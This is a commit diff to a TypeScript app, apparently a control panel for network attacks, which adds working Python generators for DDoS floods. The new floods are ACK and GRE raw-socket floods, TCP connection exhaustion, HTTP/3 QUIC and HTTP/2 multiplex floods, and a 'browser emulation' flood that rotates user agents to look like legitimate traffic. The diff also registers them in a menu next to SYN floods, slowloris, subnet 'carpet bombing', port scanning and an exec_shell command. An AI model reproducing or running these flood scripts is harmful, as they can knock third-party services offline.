Spaces:
Sleeping
Sleeping
Update src/App.tsx
Browse files- src/App.tsx +39 -3
src/App.tsx
CHANGED
|
@@ -85,6 +85,36 @@ const BLOCK_CONFIGS: Record<string, any> = {
|
|
| 85 |
title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
|
| 86 |
fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
|
| 87 |
generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 88 |
}
|
| 89 |
};
|
| 90 |
|
|
@@ -1300,8 +1330,8 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1300 |
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
|
| 1301 |
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
| 1302 |
const requiresFloodArgs = command === 'network_flood';
|
| 1303 |
-
const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
|
| 1304 |
-
const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood'].includes(floodType));
|
| 1305 |
const requiresPorts = command === 'port_scan';
|
| 1306 |
const requiresInterval = command === 'change_poll_interval';
|
| 1307 |
const requiresShell = command === 'exec_shell';
|
|
@@ -1492,11 +1522,17 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1492 |
<option value="api_abuse_flood">API Abuse Flood</option>
|
| 1493 |
<option value="cache_bypass_flood">Cache Bypass Flood</option>
|
| 1494 |
<option value="websocket_flood">WebSocket Abuse</option>
|
|
|
|
|
|
|
|
|
|
| 1495 |
</optgroup>
|
| 1496 |
-
<optgroup label="L4 Vectors (Transport)">
|
| 1497 |
<option value="udp_flood">UDP Raw Datagram Flood</option>
|
| 1498 |
<option value="tcp_connect_flood">TCP Connect Flood</option>
|
| 1499 |
<option value="syn_flood">SYN Flood (Requires Root)</option>
|
|
|
|
|
|
|
|
|
|
| 1500 |
<option value="carpet_bombing">Carpet Bombing (Subnet)</option>
|
| 1501 |
</optgroup>
|
| 1502 |
</select>
|
|
|
|
| 85 |
title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
|
| 86 |
fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
|
| 87 |
generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
|
| 88 |
+
},
|
| 89 |
+
ack_flood: {
|
| 90 |
+
title: 'L4 ACK Flood', color: 'bg-orange-600',
|
| 91 |
+
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 92 |
+
generator: (p: any) => `def ack_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"ACK_DUMMY", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(ack_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
|
| 93 |
+
},
|
| 94 |
+
connection_exhaustion: {
|
| 95 |
+
title: 'L4 State Exhaustion', color: 'bg-orange-600',
|
| 96 |
+
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 97 |
+
generator: (p: any) => `def conn_exhaust(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n sockets = []\n while time.time() < t_end:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)\n s.connect((ip, int(port))); sockets.append(s); stats["sent"] += 1\n if len(sockets) > 500: sockets.pop(0).close()\n except: stats["errors"] += 1\n for s in sockets:\n try: s.close()\n except: pass\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(conn_exhaust("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
|
| 98 |
+
},
|
| 99 |
+
gre_flood: {
|
| 100 |
+
title: 'L3/L4 GRE Flood', color: 'bg-orange-600',
|
| 101 |
+
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '512'}],
|
| 102 |
+
generator: (p: any) => `def gre_flood(ip, duration, threads_count, pkt_size):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)\n except: stats["errors"] += 1; return\n payload = os.urandom(int(pkt_size))\n while time.time() < t_end:\n try: s.sendto(payload, (ip, 0)); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(gre_flood("${p.ip}", ${p.duration}, ${p.threads}, ${p.size}))`
|
| 103 |
+
},
|
| 104 |
+
http3_quic_flood: {
|
| 105 |
+
title: 'L7 HTTP/3 QUIC Flood', color: 'bg-rose-600',
|
| 106 |
+
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '443'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 107 |
+
generator: (p: any) => `def quic_flood(ip, port, duration, threads_count):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(quic_payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(quic_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
|
| 108 |
+
},
|
| 109 |
+
http2_multiplex: {
|
| 110 |
+
title: 'L7 HTTP/2 Multiplex Abuser', color: 'bg-rose-600',
|
| 111 |
+
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Concurrent Sessions', default: '10'}],
|
| 112 |
+
generator: (p: any) => `def http2_multiplex(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try:\n session = requests.Session()\n for _ in range(20):\n if time.time() >= t_end: break\n session.get(url, timeout=2)\n stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http2_multiplex("${p.url}", ${p.duration}, ${p.threads}))`
|
| 113 |
+
},
|
| 114 |
+
browser_emulation: {
|
| 115 |
+
title: 'L7 Browser Emulation', color: 'bg-rose-600',
|
| 116 |
+
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Virtual Browsers', default: '10'}],
|
| 117 |
+
generator: (p: any) => `def browser_emulation(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n user_agents = [\n "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",\n "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"\n ]\n def worker():\n session = requests.Session()\n while time.time() < t_end:\n try:\n headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}\n session.get(url, headers=headers, timeout=5)\n stats["sent"] += 1\n time.sleep(random.uniform(0.1, 0.8))\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(browser_emulation("${p.url}", ${p.duration}, ${p.threads}))`
|
| 118 |
}
|
| 119 |
};
|
| 120 |
|
|
|
|
| 1330 |
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
|
| 1331 |
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
| 1332 |
const requiresFloodArgs = command === 'network_flood';
|
| 1333 |
+
const requiresPacketSize = command === 'network_flood' && (floodType === 'udp_flood' || floodType === 'gre_flood');
|
| 1334 |
+
const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood', 'ack_flood', 'connection_exhaustion', 'gre_flood', 'http3_quic_flood', 'http2_multiplex', 'browser_emulation'].includes(floodType));
|
| 1335 |
const requiresPorts = command === 'port_scan';
|
| 1336 |
const requiresInterval = command === 'change_poll_interval';
|
| 1337 |
const requiresShell = command === 'exec_shell';
|
|
|
|
| 1522 |
<option value="api_abuse_flood">API Abuse Flood</option>
|
| 1523 |
<option value="cache_bypass_flood">Cache Bypass Flood</option>
|
| 1524 |
<option value="websocket_flood">WebSocket Abuse</option>
|
| 1525 |
+
<option value="http2_multiplex">HTTP/2 Multiplex (Burst)</option>
|
| 1526 |
+
<option value="http3_quic_flood">HTTP/3 QUIC Abuse (UDP)</option>
|
| 1527 |
+
<option value="browser_emulation">Browser Emulation (Legit Traffic)</option>
|
| 1528 |
</optgroup>
|
| 1529 |
+
<optgroup label="L3/L4 Vectors (Network/Transport)">
|
| 1530 |
<option value="udp_flood">UDP Raw Datagram Flood</option>
|
| 1531 |
<option value="tcp_connect_flood">TCP Connect Flood</option>
|
| 1532 |
<option value="syn_flood">SYN Flood (Requires Root)</option>
|
| 1533 |
+
<option value="ack_flood">ACK Flood (Requires Root)</option>
|
| 1534 |
+
<option value="connection_exhaustion">TCP Connection Exhaustion</option>
|
| 1535 |
+
<option value="gre_flood">GRE Tunnel Flood (L3)</option>
|
| 1536 |
<option value="carpet_bombing">Carpet Bombing (Subnet)</option>
|
| 1537 |
</optgroup>
|
| 1538 |
</select>
|